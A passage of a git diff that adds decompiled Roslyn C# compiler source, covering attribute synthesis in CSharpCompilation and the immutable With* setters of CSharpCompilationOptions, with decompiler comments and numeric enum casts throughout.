CheckIfAttributeShouldBeEmbedded(EmbeddableAttributes attribute, BindingDiagnosticBag? diagnosticsOpt, Location locationOpt) + { + return attribute switch + { + EmbeddableAttributes.IsReadOnlyAttribute => CheckIfAttributeShouldBeEmbedded(diagnosticsOpt, locationOpt, (WellKnownType)270, (WellKnownMember)394), + EmbeddableAttributes.IsByRefLikeAttribute => CheckIfAttributeShouldBeEmbedded(diagnosticsOpt, locationOpt, (WellKnownType)272, (WellKnownMember)396), + EmbeddableAttributes.IsUnmanagedAttribute => CheckIfAttributeShouldBeEmbedded(diagnosticsOpt, locationOpt, (WellKnownType)278, (WellKnownMember)409), + EmbeddableAttributes.NullableAttribute => CheckIfAttributeShouldBeEmbedded(diagnosticsOpt, locationOpt, (WellKnownType)266, (WellKnownMember)389, (WellKnownMember)390), + EmbeddableAttributes.NullableContextAttribute => CheckIfAttributeShouldBeEmbedded(diagnosticsOpt, locationOpt, (WellKnownType)267, (WellKnownMember)391), + EmbeddableAttributes.NullablePublicOnlyAttribute => CheckIfAttributeShouldBeEmbedded(diagnosticsOpt, locationOpt, (WellKnownType)268, (WellKnownMember)392), + EmbeddableAttributes.NativeIntegerAttribute => CheckIfAttributeShouldBeEmbedded(diagnosticsOpt, locationOpt, (WellKnownType)303, (WellKnownMember)462, (WellKnownMember)463), + EmbeddableAttributes.ScopedRefAttribute => CheckIfAttributeShouldBeEmbedded(diagnosticsOpt, locationOpt, (WellKnownType)311, (WellKnownMember)471), + EmbeddableAttributes.RefSafetyRulesAttribute => CheckIfAttributeShouldBeEmbedded(diagnosticsOpt, locationOpt, (WellKnownType)312, (WellKnownMember)472), + EmbeddableAttributes.RequiresLocationAttribute => CheckIfAttributeShouldBeEmbedded(diagnosticsOpt, locationOpt, (WellKnownType)271, (WellKnownMember)395), + _ => throw ExceptionUtilities.UnexpectedValue((object)attribute), + }; + } + + private bool CheckIfAttributeShouldBeEmbedded(BindingDiagnosticBag? diagnosticsOpt, Location? locationOpt, WellKnownType attributeType, WellKnownMember attributeCtor, WellKnownMember? secondAttributeCtor = null) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Invalid comparison between Unknown and I4 + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol wellKnownType = GetWellKnownType(attributeType); + if (wellKnownType is MissingMetadataTypeSymbol) + { + if ((int)((CompilationOptions)Options).OutputKind != 3) + { + return true; + } + if (diagnosticsOpt != null) + { + Binder.ReportUseSite(wellKnownType, diagnosticsOpt, locationOpt); + } + } + else if (diagnosticsOpt != null && Binder.GetWellKnownTypeMember(this, attributeCtor, diagnosticsOpt, locationOpt) != null && secondAttributeCtor.HasValue) + { + Binder.GetWellKnownTypeMember(this, secondAttributeCtor.Value, diagnosticsOpt, locationOpt); + } + return false; + } + + internal SynthesizedAttributeData? SynthesizeDebuggableAttribute() + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Unknown result type (might be due to invalid IL or missing references) + if (GetWellKnownType((WellKnownType)198) is MissingMetadataTypeSymbol) + { + return null; + } + Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol wellKnownType = GetWellKnownType((WellKnownType)199); + if (wellKnownType is MissingMetadataTypeSymbol) + { + return null; + } + Microsoft.CodeAnalysis.CSharp.Symbols.FieldSymbol fieldSymbol = (Microsoft.CodeAnalysis.CSharp.Symbols.FieldSymbol)GetWellKnownTypeMember((WellKnownMember)77); + if ((object)fieldSymbol == null || !fieldSymbol.HasConstantValue) + { + return null; + } + int num = fieldSymbol.GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false).Int32Value; + if ((int)((CompilationOptions)_options).OptimizationLevel == 0) + { + Microsoft.CodeAnalysis.CSharp.Symbols.FieldSymbol fieldSymbol2 = (Microsoft.CodeAnalysis.CSharp.Symbols.FieldSymbol)GetWellKnownTypeMember((WellKnownMember)74); + if ((object)fieldSymbol2 == null || !fieldSymbol2.HasConstantValue) + { + return null; + } + Microsoft.CodeAnalysis.CSharp.Symbols.FieldSymbol fieldSymbol3 = (Microsoft.CodeAnalysis.CSharp.Symbols.FieldSymbol)GetWellKnownTypeMember((WellKnownMember)75); + if ((object)fieldSymbol3 == null || !fieldSymbol3.HasConstantValue) + { + return null; + } + num |= fieldSymbol2.GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false).Int32Value; + num |= fieldSymbol3.GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false).Int32Value; + } + if (((CompilationOptions)_options).EnableEditAndContinue) + { + Microsoft.CodeAnalysis.CSharp.Symbols.FieldSymbol fieldSymbol4 = (Microsoft.CodeAnalysis.CSharp.Symbols.FieldSymbol)GetWellKnownTypeMember((WellKnownMember)76); + if ((object)fieldSymbol4 == null || !fieldSymbol4.HasConstantValue) + { + return null; + } + num |= fieldSymbol4.GetConstantValue(ConstantFieldsInProgress.Empty, earlyDecodingWellKnownAttributes: false).Int32Value; + } + TypedConstant item = default(TypedConstant); + ((TypedConstant)(ref item))._002Ector((ITypeSymbolInternal)(object)wellKnownType, (TypedConstantKind)2, (object)num); + return TrySynthesizeAttribute((WellKnownMember)73, ImmutableArray.Create(item)); + } + + internal SynthesizedAttributeData? SynthesizeDynamicAttribute(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type, int customModifiersCount, RefKind refKindOpt = (RefKind)0) + { + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + if (type.IsDynamic() && (int)refKindOpt == 0 && customModifiersCount == 0) + { + return TrySynthesizeAttribute((WellKnownMember)119); + } + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol specialType = GetSpecialType((SpecialType)7); + ImmutableArray immutableArray = DynamicTransformsEncoder.Encode(type, refKindOpt, customModifiersCount, specialType); + ImmutableArray arguments = ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)Microsoft.CodeAnalysis.CSharp.Symbols.ArrayTypeSymbol.CreateSZArray(specialType.ContainingAssembly, TypeWithAnnotations.Create(specialType)), immutableArray)); + return TrySynthesizeAttribute((WellKnownMember)120, arguments); + } + + internal SynthesizedAttributeData? SynthesizeTupleNamesAttribute(Microsoft.CodeAnalysis.CSharp.Symbols.TypeSymbol type) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol specialType = GetSpecialType((SpecialType)20); + ImmutableArray immutableArray = TupleNamesEncoder.Encode(type, specialType); + ImmutableArray arguments = ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)Microsoft.CodeAnalysis.CSharp.Symbols.ArrayTypeSymbol.CreateSZArray(specialType.ContainingAssembly, TypeWithAnnotations.Create(specialType)), immutableArray)); + return TrySynthesizeAttribute((WellKnownMember)352, arguments); + } + + internal SynthesizedAttributeData? SynthesizeAttributeUsageAttribute(AttributeTargets targets, bool allowMultiple, bool inherited) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol wellKnownType = GetWellKnownType((WellKnownType)281); + Microsoft.CodeAnalysis.CSharp.Symbols.NamedTypeSymbol specialType = GetSpecialType((SpecialType)7); + ImmutableArray arguments = ImmutableArray.Create(new TypedConstant((ITypeSymbolInternal)(object)wellKnownType, (TypedConstantKind)2, (object)targets)); + ImmutableArray> namedArguments = ImmutableArray.Create(new KeyValuePair((WellKnownMember)61, new TypedConstant((ITypeSymbolInternal)(object)specialType, (TypedConstantKind)1, (object)allowMultiple)), new KeyValuePair((WellKnownMember)62, new TypedConstant((ITypeSymbolInternal)(object)specialType, (TypedConstantKind)1, (object)inherited))); + return TrySynthesizeAttribute((WellKnownMember)60, arguments, namedArguments); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCompilationExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCompilationExtensions.cs new file mode 100644 index 0000000..5a64f3d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCompilationExtensions.cs @@ -0,0 +1,25 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class CSharpCompilationExtensions +{ + internal static bool IsFeatureEnabled(this CSharpCompilation compilation, MessageID feature) + { + return compilation.LanguageVersion >= feature.RequiredVersion(); + } + + internal static bool IsFeatureEnabled(this SyntaxNode? syntax, MessageID feature) + { + return ((CSharpParseOptions)(object)((syntax != null) ? syntax.SyntaxTree.Options : null))?.IsFeatureEnabled(feature) ?? false; + } + + internal static bool ShouldEmitNativeIntegerAttributes(this CSharpCompilation compilation, TypeSymbol type) + { + if (compilation.ShouldEmitNativeIntegerAttributes()) + { + return type.ContainsNativeIntegerWrapperType(); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCompilationOptions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCompilationOptions.cs new file mode 100644 index 0000000..8f8e6fe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCompilationOptions.cs @@ -0,0 +1,818 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.ComponentModel; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +public sealed class CSharpCompilationOptions : CompilationOptions, IEquatable +{ + public bool AllowUnsafe { get; private set; } + + public ImmutableArray Usings { get; private set; } + + internal BinderFlags TopLevelBinderFlags { get; private set; } + + public override NullableContextOptions NullableContextOptions { get; protected set; } + + public override string Language => "C#"; + + public CSharpCompilationOptions(OutputKind outputKind, bool reportSuppressedDiagnostics = false, string? moduleName = null, string? mainTypeName = null, string? scriptClassName = null, IEnumerable? usings = null, OptimizationLevel optimizationLevel = (OptimizationLevel)0, bool checkOverflow = false, bool allowUnsafe = false, string? cryptoKeyContainer = null, string? cryptoKeyFile = null, ImmutableArray cryptoPublicKey = default(ImmutableArray), bool? delaySign = null, Platform platform = (Platform)0, ReportDiagnostic generalDiagnosticOption = (ReportDiagnostic)0, int warningLevel = 4, IEnumerable>? specificDiagnosticOptions = null, bool concurrentBuild = true, bool deterministic = false, XmlReferenceResolver? xmlReferenceResolver = null, SourceReferenceResolver? sourceReferenceResolver = null, MetadataReferenceResolver? metadataReferenceResolver = null, AssemblyIdentityComparer? assemblyIdentityComparer = null, StrongNameProvider? strongNameProvider = null, bool publicSign = false, MetadataImportOptions metadataImportOptions = (MetadataImportOptions)0, NullableContextOptions nullableContextOptions = (NullableContextOptions)0) + : this(outputKind, reportSuppressedDiagnostics, moduleName, mainTypeName, scriptClassName, usings, optimizationLevel, checkOverflow, allowUnsafe, cryptoKeyContainer, cryptoKeyFile, cryptoPublicKey, delaySign, platform, generalDiagnosticOption, warningLevel, specificDiagnosticOptions, concurrentBuild, deterministic, default(DateTime), debugPlusMode: false, xmlReferenceResolver, sourceReferenceResolver, null, metadataReferenceResolver, assemblyIdentityComparer, strongNameProvider, metadataImportOptions, referencesSupersedeLowerVersions: false, publicSign, BinderFlags.None, nullableContextOptions) + { + }//IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + + + public CSharpCompilationOptions(OutputKind outputKind, bool reportSuppressedDiagnostics, string? moduleName, string? mainTypeName, string? scriptClassName, IEnumerable? usings, OptimizationLevel optimizationLevel, bool checkOverflow, bool allowUnsafe, string? cryptoKeyContainer, string? cryptoKeyFile, ImmutableArray cryptoPublicKey, bool? delaySign, Platform platform, ReportDiagnostic generalDiagnosticOption, int warningLevel, IEnumerable>? specificDiagnosticOptions, bool concurrentBuild, bool deterministic, XmlReferenceResolver? xmlReferenceResolver, SourceReferenceResolver? sourceReferenceResolver, MetadataReferenceResolver? metadataReferenceResolver, AssemblyIdentityComparer? assemblyIdentityComparer, StrongNameProvider? strongNameProvider, bool publicSign, MetadataImportOptions metadataImportOptions) + : this(outputKind, reportSuppressedDiagnostics, moduleName, mainTypeName, scriptClassName, usings, optimizationLevel, checkOverflow, allowUnsafe, cryptoKeyContainer, cryptoKeyFile, cryptoPublicKey, delaySign, platform, generalDiagnosticOption, warningLevel, specificDiagnosticOptions, concurrentBuild, deterministic, xmlReferenceResolver, sourceReferenceResolver, metadataReferenceResolver, assemblyIdentityComparer, strongNameProvider, publicSign, metadataImportOptions, (NullableContextOptions)0) + { + }//IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + + + [EditorBrowsable(EditorBrowsableState.Never)] + public CSharpCompilationOptions(OutputKind outputKind, bool reportSuppressedDiagnostics, string? moduleName, string? mainTypeName, string? scriptClassName, IEnumerable? usings, OptimizationLevel optimizationLevel, bool checkOverflow, bool allowUnsafe, string? cryptoKeyContainer, string? cryptoKeyFile, ImmutableArray cryptoPublicKey, bool? delaySign, Platform platform, ReportDiagnostic generalDiagnosticOption, int warningLevel, IEnumerable>? specificDiagnosticOptions, bool concurrentBuild, bool deterministic, XmlReferenceResolver? xmlReferenceResolver, SourceReferenceResolver? sourceReferenceResolver, MetadataReferenceResolver? metadataReferenceResolver, AssemblyIdentityComparer? assemblyIdentityComparer, StrongNameProvider? strongNameProvider, bool publicSign) + : this(outputKind, reportSuppressedDiagnostics, moduleName, mainTypeName, scriptClassName, usings, optimizationLevel, checkOverflow, allowUnsafe, cryptoKeyContainer, cryptoKeyFile, cryptoPublicKey, delaySign, platform, generalDiagnosticOption, warningLevel, specificDiagnosticOptions, concurrentBuild, deterministic, xmlReferenceResolver, sourceReferenceResolver, metadataReferenceResolver, assemblyIdentityComparer, strongNameProvider, publicSign, (MetadataImportOptions)0) + { + }//IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + + + internal CSharpCompilationOptions(OutputKind outputKind, bool reportSuppressedDiagnostics, string? moduleName, string? mainTypeName, string? scriptClassName, IEnumerable? usings, OptimizationLevel optimizationLevel, bool checkOverflow, bool allowUnsafe, string? cryptoKeyContainer, string? cryptoKeyFile, ImmutableArray cryptoPublicKey, bool? delaySign, Platform platform, ReportDiagnostic generalDiagnosticOption, int warningLevel, IEnumerable>? specificDiagnosticOptions, bool concurrentBuild, bool deterministic, DateTime currentLocalTime, bool debugPlusMode, XmlReferenceResolver? xmlReferenceResolver, SourceReferenceResolver? sourceReferenceResolver, SyntaxTreeOptionsProvider? syntaxTreeOptionsProvider, MetadataReferenceResolver? metadataReferenceResolver, AssemblyIdentityComparer? assemblyIdentityComparer, StrongNameProvider? strongNameProvider, MetadataImportOptions metadataImportOptions, bool referencesSupersedeLowerVersions, bool publicSign, BinderFlags topLevelBinderFlags, NullableContextOptions nullableContextOptions) + : base(outputKind, reportSuppressedDiagnostics, moduleName, mainTypeName, scriptClassName, cryptoKeyContainer, cryptoKeyFile, cryptoPublicKey, delaySign, publicSign, optimizationLevel, checkOverflow, platform, generalDiagnosticOption, warningLevel, EnumerableExtensions.ToImmutableDictionaryOrEmpty(specificDiagnosticOptions), concurrentBuild, deterministic, currentLocalTime, debugPlusMode, xmlReferenceResolver, sourceReferenceResolver, syntaxTreeOptionsProvider, metadataReferenceResolver, assemblyIdentityComparer, strongNameProvider, metadataImportOptions, referencesSupersedeLowerVersions) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + Usings = ImmutableArrayExtensions.AsImmutableOrEmpty(usings); + AllowUnsafe = allowUnsafe; + TopLevelBinderFlags = topLevelBinderFlags; + ((CompilationOptions)this).NullableContextOptions = nullableContextOptions; + } + + private CSharpCompilationOptions(CSharpCompilationOptions other) + : this(((CompilationOptions)other).OutputKind, moduleName: ((CompilationOptions)other).ModuleName, mainTypeName: ((CompilationOptions)other).MainTypeName, scriptClassName: ((CompilationOptions)other).ScriptClassName, usings: other.Usings, optimizationLevel: ((CompilationOptions)other).OptimizationLevel, checkOverflow: ((CompilationOptions)other).CheckOverflow, allowUnsafe: other.AllowUnsafe, cryptoKeyContainer: ((CompilationOptions)other).CryptoKeyContainer, cryptoKeyFile: ((CompilationOptions)other).CryptoKeyFile, cryptoPublicKey: ((CompilationOptions)other).CryptoPublicKey, delaySign: ((CompilationOptions)other).DelaySign, platform: ((CompilationOptions)other).Platform, generalDiagnosticOption: ((CompilationOptions)other).GeneralDiagnosticOption, warningLevel: ((CompilationOptions)other).WarningLevel, specificDiagnosticOptions: ((CompilationOptions)other).SpecificDiagnosticOptions, concurrentBuild: ((CompilationOptions)other).ConcurrentBuild, deterministic: ((CompilationOptions)other).Deterministic, currentLocalTime: ((CompilationOptions)other).CurrentLocalTime, debugPlusMode: ((CompilationOptions)other).DebugPlusMode, xmlReferenceResolver: ((CompilationOptions)other).XmlReferenceResolver, sourceReferenceResolver: ((CompilationOptions)other).SourceReferenceResolver, syntaxTreeOptionsProvider: ((CompilationOptions)other).SyntaxTreeOptionsProvider, metadataReferenceResolver: ((CompilationOptions)other).MetadataReferenceResolver, assemblyIdentityComparer: ((CompilationOptions)other).AssemblyIdentityComparer, strongNameProvider: ((CompilationOptions)other).StrongNameProvider, metadataImportOptions: ((CompilationOptions)other).MetadataImportOptions, referencesSupersedeLowerVersions: ((CompilationOptions)other).ReferencesSupersedeLowerVersions, reportSuppressedDiagnostics: ((CompilationOptions)other).ReportSuppressedDiagnostics, publicSign: ((CompilationOptions)other).PublicSign, topLevelBinderFlags: other.TopLevelBinderFlags, nullableContextOptions: ((CompilationOptions)other).NullableContextOptions) + { + }//IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00ea: Unknown result type (might be due to invalid IL or missing references) + //IL_00f8: Unknown result type (might be due to invalid IL or missing references) + //IL_00fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + //IL_0125: Unknown result type (might be due to invalid IL or missing references) + + + internal CSharpCompilationOptions WithTopLevelBinderFlags(BinderFlags flags) + { + if (flags != TopLevelBinderFlags) + { + return new CSharpCompilationOptions(this) + { + TopLevelBinderFlags = flags + }; + } + return this; + } + + internal override ImmutableArray GetImports() + { + return Usings; + } + + internal override DeterministicKeyBuilder CreateDeterministicKeyBuilder() + { + return (DeterministicKeyBuilder)(object)CSharpDeterministicKeyBuilder.Instance; + } + + public CSharpCompilationOptions WithOutputKind(OutputKind kind) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + if (kind == ((CompilationOptions)this).OutputKind) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).OutputKind = kind; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithModuleName(string? moduleName) + { + if (moduleName == ((CompilationOptions)this).ModuleName) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).ModuleName = moduleName; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithScriptClassName(string? name) + { + if (name == ((CompilationOptions)this).ScriptClassName) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).ScriptClassName = name; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithMainTypeName(string? name) + { + if (name == ((CompilationOptions)this).MainTypeName) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).MainTypeName = name; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithCryptoKeyContainer(string? name) + { + if (name == ((CompilationOptions)this).CryptoKeyContainer) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).CryptoKeyContainer = name; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithCryptoKeyFile(string? path) + { + if (string.IsNullOrEmpty(path)) + { + path = null; + } + if (path == ((CompilationOptions)this).CryptoKeyFile) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).CryptoKeyFile = path; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithCryptoPublicKey(ImmutableArray value) + { + if (value.IsDefault) + { + value = ImmutableArray.Empty; + } + if (value == ((CompilationOptions)this).CryptoPublicKey) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).CryptoPublicKey = value; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithDelaySign(bool? value) + { + if (value == ((CompilationOptions)this).DelaySign) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).DelaySign = value; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithUsings(ImmutableArray usings) + { + if (Usings == usings) + { + return this; + } + return new CSharpCompilationOptions(this) + { + Usings = usings + }; + } + + public CSharpCompilationOptions WithUsings(IEnumerable? usings) + { + return new CSharpCompilationOptions(this) + { + Usings = ImmutableArrayExtensions.AsImmutableOrEmpty(usings) + }; + } + + public CSharpCompilationOptions WithUsings(params string[]? usings) + { + return WithUsings((IEnumerable?)usings); + } + + public CSharpCompilationOptions WithOptimizationLevel(OptimizationLevel value) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + if (value == ((CompilationOptions)this).OptimizationLevel) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).OptimizationLevel = value; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithOverflowChecks(bool enabled) + { + if (enabled == ((CompilationOptions)this).CheckOverflow) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).CheckOverflow = enabled; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithNullableContextOptions(NullableContextOptions options) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + if (options == ((CompilationOptions)this).NullableContextOptions) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).NullableContextOptions = options; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithAllowUnsafe(bool enabled) + { + if (enabled == AllowUnsafe) + { + return this; + } + return new CSharpCompilationOptions(this) + { + AllowUnsafe = enabled + }; + } + + public CSharpCompilationOptions WithPlatform(Platform platform) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + if (((CompilationOptions)this).Platform == platform) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).Platform = platform; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithPublicSign(bool publicSign) + { + if (((CompilationOptions)this).PublicSign == publicSign) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).PublicSign = publicSign; + return cSharpCompilationOptions; + } + + protected override CompilationOptions CommonWithGeneralDiagnosticOption(ReportDiagnostic value) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (CompilationOptions)(object)WithGeneralDiagnosticOption(value); + } + + protected override CompilationOptions CommonWithSpecificDiagnosticOptions(ImmutableDictionary? specificDiagnosticOptions) + { + return (CompilationOptions)(object)WithSpecificDiagnosticOptions(specificDiagnosticOptions); + } + + protected override CompilationOptions CommonWithSpecificDiagnosticOptions(IEnumerable>? specificDiagnosticOptions) + { + return (CompilationOptions)(object)WithSpecificDiagnosticOptions(specificDiagnosticOptions); + } + + protected override CompilationOptions CommonWithReportSuppressedDiagnostics(bool reportSuppressedDiagnostics) + { + return (CompilationOptions)(object)WithReportSuppressedDiagnostics(reportSuppressedDiagnostics); + } + + public CSharpCompilationOptions WithGeneralDiagnosticOption(ReportDiagnostic value) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + if (((CompilationOptions)this).GeneralDiagnosticOption == value) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).GeneralDiagnosticOption = value; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithSpecificDiagnosticOptions(ImmutableDictionary? values) + { + if (values == null) + { + values = ImmutableDictionary.Empty; + } + if (((CompilationOptions)this).SpecificDiagnosticOptions == values) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).SpecificDiagnosticOptions = values; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithSpecificDiagnosticOptions(IEnumerable>? values) + { + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).SpecificDiagnosticOptions = EnumerableExtensions.ToImmutableDictionaryOrEmpty(values); + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithReportSuppressedDiagnostics(bool reportSuppressedDiagnostics) + { + if (reportSuppressedDiagnostics == ((CompilationOptions)this).ReportSuppressedDiagnostics) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).ReportSuppressedDiagnostics = reportSuppressedDiagnostics; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithWarningLevel(int warningLevel) + { + if (warningLevel == ((CompilationOptions)this).WarningLevel) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).WarningLevel = warningLevel; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithConcurrentBuild(bool concurrentBuild) + { + if (concurrentBuild == ((CompilationOptions)this).ConcurrentBuild) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).ConcurrentBuild = concurrentBuild; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithDeterministic(bool deterministic) + { + if (deterministic == ((CompilationOptions)this).Deterministic) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).Deterministic = deterministic; + return cSharpCompilationOptions; + } + + internal CSharpCompilationOptions WithCurrentLocalTime(DateTime value) + { + if (value == ((CompilationOptions)this).CurrentLocalTime) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).CurrentLocalTime = value; + return cSharpCompilationOptions; + } + + internal CSharpCompilationOptions WithDebugPlusMode(bool debugPlusMode) + { + if (debugPlusMode == ((CompilationOptions)this).DebugPlusMode) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).DebugPlusMode = 